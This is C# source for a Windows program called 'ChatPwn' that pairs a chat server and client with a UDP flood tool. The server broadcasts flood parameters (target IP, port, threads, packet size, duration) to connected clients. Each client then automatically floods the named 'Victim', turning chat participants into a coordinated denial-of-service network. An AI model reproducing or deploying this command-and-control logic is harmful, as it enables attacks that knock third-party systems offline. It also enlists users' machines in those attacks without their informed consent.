/* THIS PROGRAM IS PROTECTED LEGALLY 
 * under a GPL License, if you are unsure of the
 * License details, a copy of the License is in the resources
 * Copyright DJ Shepherd/Dalavin/Tanner/SkunkieButt @ 2010 */

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using DevComponents.DotNetBar;
using System.Threading;
using System.Diagnostics;
using System.Net;
using System.IO;
using ChatService;
using FloodService;

namespace ChatPwn
{
    public partial class Form1 : Office2007Form
    {
        public Form1()
        {
            InitializeComponent();
            CheckForIllegalCrossThreadCalls = false;
        }

        Server xServer;
        Client xClient;
        UDPFlood xFlooder;
        bool shift = false;

        private void radioButton2_CheckedChanged(object sender, EventArgs e)
        {
            if (radioButton1.Checked)
                numericUpDown1.Enabled = numericUpDown2.Enabled =
                    numericUpDown3.Enabled = numericUpDown4.Enabled = false;
            else numericUpDown1.Enabled = numericUpDown2.Enabled =
                    numericUpDown3.Enabled = numericUpDown4.Enabled = true;
        }

        private void textBoxX3_TextChanged(object sender, EventArgs e)
        {
            if (textBoxX3.Text != "")
                buttonX1.Enabled = true;
            else buttonX1.Enabled = false;
        }

        private void buttonX1_Click(object sender, EventArgs e)
        {
            try
            {
                if (radioButton2.Checked)
                {
                    xClient = new Client(IPAddress.Parse(
                        numericUpDown1.Value.ToString() + "." +
                        numericUpDown2.Value.ToString() + "." +
                        numericUpDown3.Value.ToString() + "." +
                        numericUpDown4.Value.ToString()),
                        (int)numericUpDown5.Value, textBoxX3.Text);
                    xClient.WhenConnected += new Client.OnConnect(xClient_WhenConnected);
                    xClient.WhenMessaged += new Client.OnMessage(xClient_WhenMessaged);
                    xClient.WhenDisconnected += new Client.OnDisconnect(xClient_WhenDisconnected);
                    xClient.WhenDescripted += new Client.OnDescription(xClient_WhenDescripted);
                    xClient.WhenUnknownReached += new Client.OnUnknownData(xClient_WhenUnknownReached);
                    xClient.Connect();
                }
                else
                {
                    xServer = new Server(textBoxX3.Text, (ushort)numericUpDown5.Value);
                    xServer.WhenNewConnection += new Server.OnNewConnection(xServer_WhenNewConnection);
                    xServer.WhenUserRemoved += new Server.OnUserKill(xServer_WhenUserRemoved);
                    xServer.WhenMessageReceived += new Server.OnMessageReceive(xServer_WhenMessageReceived);
                    xServer.Connect();
                    if (!xServer.Connected)
                        return;
                    AddText("Connected");
                    buttonX1.Enabled = radioButton1.Enabled = radioButton2.Enabled = numericUpDown5.Enabled =
                        textBoxX3.Enabled = !(listBox1.Enabled = listBox2.Enabled = buttonX3.Enabled =
                        buttonX2.Enabled = listBox3.Enabled = textBoxX2.Enabled = buttonX4.Enabled = groupPanel1.Enabled = true);
                }
                
            }
            catch (Exception x) { MessageBox.Show(x.Message); }
        }

        void xClient_WhenUnknownReached(byte[] Data)
        {
            if (Data == null || Data.Length == 0)
                return;
            switch (Data[0])
            {
                case 0:
                    {
                        if (Data.Length == 1)
                            return;
                        if ((Data[1] & 1) == 0)
                        {
                            Flood_Struct x = new Flood_Struct(Data);
                            if (!x.Valid)
                                return;
                            xFlooder = new UDPFlood(x.GetTarget(), x.GetPort(),
                                x.GetThreadCount(), x.GetPacketSize(), x.GetFloodTime(),
                                x.GetBackFlag(), x.GetRecursiveFlag(), x.GetBetweenTime());
                            xFlooder.WhenAborted += new UDPFlood.OnAborted(xFlooder_WhenAborted);
                            xFlooder.WhenAbortStarted += new UDPFlood.AbortInitiate(xFlooder_WhenAbortStarted);
                            InitiateFlood();
                        }
                        else KillFlood();
                    }
                    return;

                default:
                    return;
            }
        }

        void xFlooder_WhenAbortStarted()
        {
            textBoxX4.Text = "Status: Stoping Flood...";
            if (radioButton2.Checked)
            {
                try { xServer.SendBytes(new byte[] { 0, 1 }); }
                catch { }
            }
        }

        void xFlooder_WhenAborted()
        {
            if (radioButton2.Checked)
                buttonX4.Enabled = false;
            xFlooder = null;
            buttonX4.Text = "Start";
            textBoxX4.Text = "Status: Idle...";
            AddText("Flood aborted");
        }

        void AddText(string Text)
        {
            listBox3.Items.Add(Text);
            listBox3.SelectedIndex = listBox3.Items.Count - 1;
            if (listBox3.Items.Count > 20)
                listBox3.Items.RemoveAt(0);
        }

        void xClient_WhenDescripted(string[] Description) { AddText((Description[0] == " " ? "" : Description[0]) + Description[1]); }

        void xServer_WhenMessageReceived(string[] Data) { AddText(Data[0] + ": " + Data[1]); }

        void xServer_WhenUserRemoved(User Victim)
        {
            string dat = Victim.UserName + " has left";
            xServer.SendDescription(dat, false);
            AddText(dat);
            listBox1.Items.Remove(Victim.UserName);
        }

        void xServer_WhenNewConnection(User Instance)
        {
            string dat = Instance.UserName + " has joined";
            xServer.SendDescription(dat, false);
            AddText(dat);
            listBox1.Items.Add(Instance.UserName);
        }

        void xClient_WhenDisconnected(string Reason)
        {
            AddText("Disconnected, Reason: " + Reason);
            radioButton1.Enabled = radioButton2.Enabled = buttonX1.Enabled = numericUpDown1.Enabled = numericUpDown2.Enabled =
                numericUpDown3.Enabled = numericUpDown4.Enabled = numericUpDown5.Enabled = !(buttonX3.Enabled = buttonX2.Enabled = listBox3.Enabled = textBoxX2.Enabled = false);
        }

        void xClient_WhenMessaged(string[] Message) { AddText(Message[0] + ": " + Message[1]); }

        void xClient_WhenConnected()
        {
            radioButton1.Enabled = radioButton2.Enabled = numericUpDown1.Enabled = numericUpDown2.Enabled = numericUpDown3.Enabled = numericUpDown4.Enabled = numericUpDown5.Enabled = 
                buttonX1.Enabled = textBoxX3.Enabled = !(buttonX3.Enabled = buttonX2.Enabled = listBox3.Enabled = textBoxX2.Enabled = true);
            AddText("Connected");
        }

        private void buttonX3_Click(object sender, EventArgs e)
        {
            if (radioButton2.Checked)
                xClient.SendMessage(textBoxX2.Text);
            else
            {
                xServer.SendMessage(textBoxX2.Text);
                AddText(xServer.ServerName + ": " + textBoxX2.Text);
            }
        }

        private void textBoxX2_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                shift = e.Shift;
                if (!shift)
                    buttonX3_Click(null, null);
                else textBoxX2.Text += Environment.NewLine;
            }
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            KillFlood();
            if (xClient != null)
                xClient.Disconnect();
            if (xServer != null)
                xServer.Disconnect();
            this.Dispose();
            Process.GetCurrentProcess().Kill();
        }

        private void buttonX2_Click(object sender, EventArgs e)
        {
            if (xClient != null)
            {
                xClient.Disconnect();
                xClient = null;
            }
            if (xServer != null)
            {
                xServer.Disconnect();
                xServer = null;
                radioButton1.Enabled = radioButton2.Enabled = buttonX1.Enabled = textBoxX3.Enabled = numericUpDown5.Enabled =
                !(groupPanel1.Enabled = buttonX3.Enabled = buttonX2.Enabled = listBox3.Enabled = textBoxX2.Enabled = false);
            }
            textBoxX3.Enabled = !(buttonX4.Enabled = false);
            listBox1.Items.Clear();
        }

        private void textBoxX2_KeyUp(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter && !shift)
                textBoxX2.Text = "";
        }

        private void banUserToolStripMenuItem_Click(object sender, EventArgs e)
        {
            listBox2.Items.Add(listBox1.SelectedItem);
            xServer.BanUser(listBox1.SelectedItem.ToString(), "Banned");
        }

        private void sendPopUpToolStripMenuItem_Click(object sender, EventArgs e)
        {
            xServer.SendAction(ChatService.Action.PopupMessage, Encoding.ASCII.GetBytes("hey".ToCharArray()), xServer.GetUser(listBox1.SelectedItem.ToString()));
        }

        private void contextMenuStrip1_Opening(object sender, CancelEventArgs e)
        {
            if (listBox1.SelectedIndex < 0)
                contextMenuStrip1.Enabled = false;
            else contextMenuStrip1.Enabled = true;
        }

        private void pasteToolStripMenuItem_Click(object sender, EventArgs e)
        {
            try
            {
                IPAddress x = IPAddress.Parse(Clipboard.GetText());
                byte[] address = x.GetAddressBytes();
                numericUpDown1.Value = address[0];
                numericUpDown2.Value = address[1];
                numericUpDown3.Value = address[2];
                numericUpDown4.Value = address[3];
            }
            catch { }
        }

        private void contextMenuStrip3_Opening(object sender, CancelEventArgs e)
        {
            if (listBox2.SelectedIndex < 0)
                contextMenuStrip3.Enabled = false;
            else contextMenuStrip3.Enabled = true;
        }

        private void unbanToolStripMenuItem_Click(object sender, EventArgs e)
        {
            if (xServer.Unban((string)listBox2.SelectedItem))
                listBox2.Items.RemoveAt(listBox2.SelectedIndex);
        }

        private void buttonX4_Click(object sender, EventArgs e)
        {
            if (buttonX4.Text == "Start")
            {
                xFlooder = new UDPFlood(IPAddress.Parse(
                    numericUpDown10.Value.ToString() + "." +
                    numericUpDown9.Value.ToString() + "." +
                    numericUpDown8.Value.ToString() + "." +
                    numericUpDown7.Value.ToString()),
                    (int)numericUpDown6.Value,
                    (ushort)numericUpDown13.Value,
                    (ushort)numericUpDown12.Value,
                    (int)(numericUpDown14.Value * 1000),
                    checkBoxX1.Checked,
                    radioButton1.Checked,
                    (int)numericUpDown11.Value);
                xFlooder.WhenAborted += new UDPFlood.OnAborted(xFlooder_WhenAborted);
                xFlooder.WhenAbortStarted +=new UDPFlood.AbortInitiate(xFlooder_WhenAbortStarted);
                xServer.SendBytes(Flood_Struct.ToData(xFlooder.Victim,
                    xFlooder.Port, xFlooder.ThreadCount, xFlooder.PacketSize,
                    xFlooder.FloodTime, xFlooder.IsBackground, xFlooder.Recursive, xFlooder.TimeBetweenPackets));
                InitiateFlood();
            }
            else KillFlood();
        }

        void InitiateFlood()
        {
            if (xFlooder == null || xFlooder.Active || xFlooder.Aborting)
                return;
            xFlooder.Start();
            if (xFlooder.Active)
            {
                // Make sure the program doesn't freeze up
                new Thread(new ThreadStart(doevnts)).Start();
                buttonX4.Text = "Stop";
                buttonX4.Enabled = true;
                AddText("Flood initiated against " + xFlooder.Victim.ToString() + " on port " + xFlooder.Port.ToString());
                textBoxX4.Text = "Status: Flooding...";
            }
        }
        
        void doevnts()
        {
            while (xFlooder.Active)
                Application.DoEvents();
            Thread.CurrentThread.Abort();
        }

        void KillFlood()
        {
            if (xFlooder == null || !xFlooder.Active || xFlooder.Aborting)
                return;
            xFlooder.Stop();
            while (xFlooder.Aborting)
                Application.DoEvents();
        }

        private void toolStripMenuItem1_Click(object sender, EventArgs e)
        {
            try
            {
                IPAddress x = IPAddress.Parse(Clipboard.GetText());
                byte[] address = x.GetAddressBytes();
                numericUpDown10.Value = address[0];
                numericUpDown9.Value = address[1];
                numericUpDown8.Value = address[2];
                numericUpDown7.Value = address[3];
            }
            catch { }
        }

        private void viewIPToolStripMenuItem_Click(object sender, EventArgs e)
        {
            User x = xServer.GetUser((string)listBox1.SelectedItem);
            if (x != null)
                MessageBox.Show(x.Address.ToString());
        }

        private void radioButton3_CheckedChanged(object sender, EventArgs e)
        {
            if (radioButton3.Checked)
                numericUpDown11.Enabled = false;
            else numericUpDown11.Enabled = true;
        }

        private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            Process.Start(new ProcessStartInfo("http://www.skunkiebutt.com"));
        }

        private void buttonX5_Click(object sender, EventArgs e)
        {
            try
            {
                StreamReader x = new StreamReader(WebRequest.Create("http://skunkiebutt.com/ChatNPwn.txt").GetResponse().GetResponseStream());
                string vers = x.ReadLine();
                x.Dispose();
                if (vers != Application.ProductVersion)
                    MessageBox.Show("Update found");
                else MessageBox.Show("No Updates available");
            }
            catch { MessageBox.Show("Error"); }
        }
    }
}